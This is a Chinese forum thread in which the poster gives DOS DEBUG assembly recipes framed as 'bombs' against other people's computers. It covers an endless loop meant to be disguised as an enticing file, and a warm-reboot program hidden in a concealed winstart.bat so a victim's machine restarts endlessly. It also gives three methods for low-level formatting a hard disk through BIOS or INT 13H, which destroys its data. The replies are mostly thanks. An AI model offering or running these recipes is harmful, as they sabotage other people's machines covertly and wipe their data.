回 帖 发 新 帖 刷新版面

主题:debug应用

debug应用

死循环炸弹的编写

在dos下键入debug,进入debug,然后键入下面的汇编代码(分号后是解释):
-a100
0100:mov dl,1 ;将1调入dl
0102:mov ah,2 ;将2H调入ah
0104:int 21 ;调用21H DOS程序
0106:inc dl ;将dl中的数加1
0108:jmp 102 ;回到102程序,既返回"mov ah,2"
两次回车
现在让我们来生成com文件,键入一下指令:
-n盘符程序名 ;n和程序名间没有空格
-rbx ;查看bx寄存器
回车 ;bx为0,不用输入,就回车
-rcx ;查看cx寄存器
:a ;输入程序字节数,a(16进制)就是10字节
-w ;写入程序
好了,现在可以在dos下试试效果了,呵呵,不要打我呀!!!!!!是不是电脑乱叫乱跑呀,哈哈,这是个死循环,现在同时按ctrl+break或ctrl+c可以强制停止的,要是在windows下就用鼠标结束命令提示符就没事了.
现在来解释一下这个程序的实现过程:
把显示字符的ASCII码值调入DL寄存器中,把显示字符的功能号2H调入ah中,执行"int 21"即显示1H的ASCII码,"inc dl"就是将dl中的值加一,"jmp 102"就是跳到"mov ah,2"这个程序段,简单吧,很容易看懂的,这个程序如果再屏蔽掉ctrl,break,c,然后在将窗口最大化,呵呵,那就只能看着自己的"爱机"死循环到死机了,你可以给他取个sexlady的名字,再换个性感的图标,现在就可以用它来炸色狼了.呵呵,今天就讲这么多,下次讲什么呢?讲炸键盘的核心代码吧,嘿嘿.
让你的电脑反复启动-debug应用(二)


c:\debug boot.com
-a100
-mov ax,0040
-mov ds,ax
-mov si,0072
-mov[si],ax
jmp ffff:0
int 20
-rcx
0014
-w
-q
这个就是热启动的程序,如果再用.bat文件让它自动执行,那么它就是一个炸弹,让人家的电脑反复启动,可能你会把他添加到autoexec.bat中,但这样容易被人发现,其实还有一个自动批处理文件和autoexe.bat的作用一样,不过他是在autoexec.bat后执行,文件名叫winstart.bat,这个文件是许多软件安装时生成的临时文件,当软件安装需要重新启动然后继续安装时,就会在windows目录下生成这个文件,安装完后自动删除,但如果是你人为添加这个文件,系统将不把他删除,这样你就可以把这个热启动的程序用这个winstart.bat来让他每次启动计算机时自动执行,最好把这个文件隐藏,一般人是很难想到是这个批处理文件在捣乱,嘿嘿,这样就可以让人家的计算机反复启动不停了.
用DEBUG低格硬盘
方法一:

  直接调用ROM BIOS中的低格式化程序。

  在很多计算机的ROM BIOS中存放着低格程序。存放地址从C8005H处开始,可以用DEBUG的G命
令直接调用。操作如下:

a:/>debug -g c800:0005

  这时屏幕显示信息(不同版本的BIOS显示的信息不一样),回车后提示:

  current interleave is 3 select new interleave or return fot current

  这是要求用户选择交叉因子,按回车表示取默认值,屏幕接着提示:

  Are you aynameically configuring the drive-answer Y/N


  Prss "Y" to begin formatting the drive c: with interleave 03


  键入Y后,开始低格......


  Formatting......


  完成后询问是否处理坏磁道:


  Do you want to format bat trackanswer Y/N?


  如没有就用“N”回答,屏幕提示:


Format successfull,system will new restart,insert dos diskette in dirve a:


  插入系统盘到A驱,即可进行分区,高级格式化等操作。

方法二:

  BIOS也可以由DOS通过中断指令来调用。调用INT 13H中断的7号功能,也可以对硬盘进行
低格,操作如下:


a:/>debug


-a 100


-xxxx:0100 mov ax,0703; 交叉因子为3


-xxxx:0103 mov cx,0001; 0磁道0扇区起


-xxxx:0106 mov dx,0080; C盘0磁道


-xxxx:0109 int 13


-xxxx:010B int 3


-xxxx:010D


-G 100 ;从0100处开始执行。


这样硬盘就被低格了!

方法三:

  调用INT 13H的5号功能。


  对硬盘调用INT 13H的5号功能只能低格0面0道1扇区,而不必低格整个硬盘,从而使低格
在很短的时间内完成。操作如下:


a:/>debug


-a 100


-xxxx:0100 mov ax,0500;调用5号功能


-xxxx:0103 mov bx,0180;设置缓冲区地址


-xxxx:0106 mov cx,0001;0道1扇区起


-xxxx:0109 mov dx,0080;C盘0磁道


-xxxx:010B int 13


-xxxx:010D int 3


-E 0180 0 0 0002;写入参数


-G 100

回复列表 (共11个回复)

沙发

谢谢楼主

板凳

本人正在汇编语言学习中,感谢楼主这样的好贴!!!

3 楼

int13 的 ah=5 功能可以格式化 format不能格式的80以后磁道。
当年是用这个来给a盘加密的。

4 楼

好贴啊,我也是初学者,谢谢楼主。
我们学校老师讲课那个滥啊,以后就靠楼主及其他朋友照顾拉

5 楼

谢了~~

6 楼

好东东或?

可人是不能满足的动物呀?有没有更多一点呀、

7 楼

死循环炸弹的编写
的第2中方法不知道怎么编写啊?
哪位大哥大姐告诉我啊
谢谢!

8 楼

好贴子呀!多谢了!

9 楼

谢谢!

10 楼

晕,这样的帖有这么多人回应,哎。。。。。
一个死循环,哎。。。。。。。

我来回复

您尚未登录,请登录后再回复。点此登录或注册